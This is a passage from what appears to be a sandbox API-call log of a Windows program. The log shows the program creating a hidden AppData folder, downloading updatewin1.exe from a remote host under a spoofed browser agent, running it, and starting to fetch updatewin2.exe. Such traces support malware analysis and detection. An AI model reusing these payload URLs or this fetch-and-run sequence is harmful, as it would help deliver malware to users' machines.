uExitCode=0x0) Thread: id = 37 os_tid = 0xae4 Thread: id = 38 os_tid = 0xae8 Thread: id = 39 os_tid = 0xaec Thread: id = 40 os_tid = 0xaf0 Thread: id = 41 os_tid = 0xaf4 Thread: id = 42 os_tid = 0xaf8 Thread: id = 43 os_tid = 0xafc Thread: id = 44 os_tid = 0xb00 Thread: id = 45 os_tid = 0xb04 [0051.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x110) returned 0x3152000 [0051.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x110) returned 0x3111648 [0051.375] GetLastError () returned 0x54f [0051.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3bc) returned 0x3177390 [0051.375] GetCurrentThreadId () returned 0xb04 [0051.375] SetLastError (dwErrCode=0x54f) [0051.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0051.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x3158b50 [0051.375] GetLastError () returned 0x54f [0051.375] SetLastError (dwErrCode=0x54f) [0051.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187078 [0051.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316ad60 [0051.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3158b50 | out: hHeap=0x5d0000) returned 1 [0051.376] GetLastError () returned 0x54f [0051.376] SetLastError (dwErrCode=0x54f) [0051.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316af20 [0051.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x48) returned 0x31c9560 [0051.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316ad60 | out: hHeap=0x5d0000) returned 1 [0051.376] GetLastError () returned 0x54f [0051.376] SetLastError (dwErrCode=0x54f) [0051.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316ad60 [0051.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x30f6e98 [0051.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31c9560 | out: hHeap=0x5d0000) returned 1 [0051.376] GetLastError () returned 0x54f [0051.376] SetLastError (dwErrCode=0x54f) [0051.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316aeb0 [0051.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0051.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30f6e98 | out: hHeap=0x5d0000) returned 1 [0051.376] GetLastError () returned 0x54f [0051.376] SetLastError (dwErrCode=0x54f) [0051.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0051.376] GetLastError () returned 0x54f [0051.376] SetLastError (dwErrCode=0x54f) [0051.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3111648 | out: hHeap=0x5d0000) returned 1 [0051.376] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0051.376] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathA") returned 0x760e7804 [0051.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x400) returned 0x3177758 [0051.377] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x3177758 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0051.377] UuidCreate (in: Uuid=0x9b5d768 | out: Uuid=0x9b5d768) returned 0x0 [0051.378] UuidToStringA (in: Uuid=0x9b5d768, StringUuid=0x9b5d6c0 | out: StringUuid=0x9b5d6c0) returned 0x0 [0051.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1f8 [0051.378] RpcStringFreeA (in: String=0x9b5d6c0 | out: String=0x9b5d6c0) returned 0x0 [0051.378] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="c3cc523b-34fa-482c-bfe9-b2817c5e36f9" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9") returned 1 [0051.378] CreateDirectoryA (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9"), lpSecurityAttributes=0x0) returned 1 [0051.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x410) returned 0x3177b60 [0051.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x410) returned 0x3177f78 [0051.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1000) returned 0x3178390 [0051.379] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3177f78, cbMultiByte=-1, lpWideCharStr=0x3178390, cchWideChar=2048 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9") returned 81 [0051.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1010) returned 0x31f1f18 [0051.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178390 | out: hHeap=0x5d0000) returned 1 [0051.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177f78 | out: hHeap=0x5d0000) returned 1 [0051.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x3158b50 [0051.379] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0051.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x31870c0 [0051.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177f78 [0051.379] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x31870c0, cbMultiByte=-1, lpWideCharStr=0x3177f78, cchWideChar=1072 | out: lpWideCharStr="http://dell1.ug/files/penelop/updatewin1.exe") returned 45 [0051.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x870) returned 0x31787e0 [0051.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177f78 | out: hHeap=0x5d0000) returned 1 [0051.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31870c0 | out: hHeap=0x5d0000) returned 1 [0051.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x870) returned 0x31f2f30 [0051.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3177f78 [0051.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/updatewin1.exe", cchWideChar=-1, lpMultiByteStr=0x3177f78, cbMultiByte=2096, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/updatewin1.exe", lpUsedDefaultChar=0x0) returned 45 [0051.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x31f37a8 [0051.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177f78 | out: hHeap=0x5d0000) returned 1 [0051.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f2f30 | out: hHeap=0x5d0000) returned 1 [0051.379] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://dell1.ug/files/penelop/updatewin1.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0051.924] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f37a8 | out: hHeap=0x5d0000) returned 1 [0051.924] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x9b5d6d0, lpdwBufferLength=0x9b5d710, lpdwIndex=0x0 | out: lpBuffer=0x9b5d6d0*, lpdwBufferLength=0x9b5d710*=0x4, lpdwIndex=0x0) returned 1 [0051.925] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187228 [0051.925] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x31f4210 [0051.925] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187228 | out: hHeap=0x5d0000) returned 1 [0051.925] lstrcpyA (in: lpString1=0x3177758, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9" [0051.925] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9", pMore="updatewin1.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe") returned 1 [0051.925] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x30f6e30 [0051.925] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0051.932] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0051.932] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.003] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.004] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.186] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.186] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.186] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.186] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.187] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.187] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.187] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.187] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.188] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.188] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.188] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.188] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.189] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.189] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.314] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.314] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.315] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.315] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.315] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.315] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.315] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.316] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.316] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.316] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.316] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.317] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.317] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.317] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.390] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.390] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.391] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.391] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.391] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.391] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.392] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.392] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.392] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.392] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.393] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.393] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.481] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.481] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.482] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.482] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.482] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.482] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.483] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.483] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.484] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.485] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0052.485] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.485] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0xa00) returned 1 [0052.486] WriteFile (in: hFile=0x5e8, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0xa00, lpOverlapped=0x0) returned 1 [0052.486] CloseHandle (hObject=0x5e8) returned 1 [0052.489] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0052.494] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0052.495] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0053.246] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30f6e30 | out: hHeap=0x5d0000) returned 1 [0053.246] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4210 | out: hHeap=0x5d0000) returned 1 [0053.246] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31787e0 | out: hHeap=0x5d0000) returned 1 [0053.246] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x32869f8 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x31787b0 [0053.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32869f8, cbMultiByte=-1, lpWideCharStr=0x31787b0, cchWideChar=1072 | out: lpWideCharStr="http://dell1.ug/files/penelop/updatewin2.exe") returned 45 [0053.247] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x870) returned 0x329eb30 [0053.247] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31787b0 | out: hHeap=0x5d0000) returned 1 [0053.247] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32869f8 | out: hHeap=0x5d0000) returned 1 [0053.247] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x870) returned 0x31787b0 [0053.247] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, 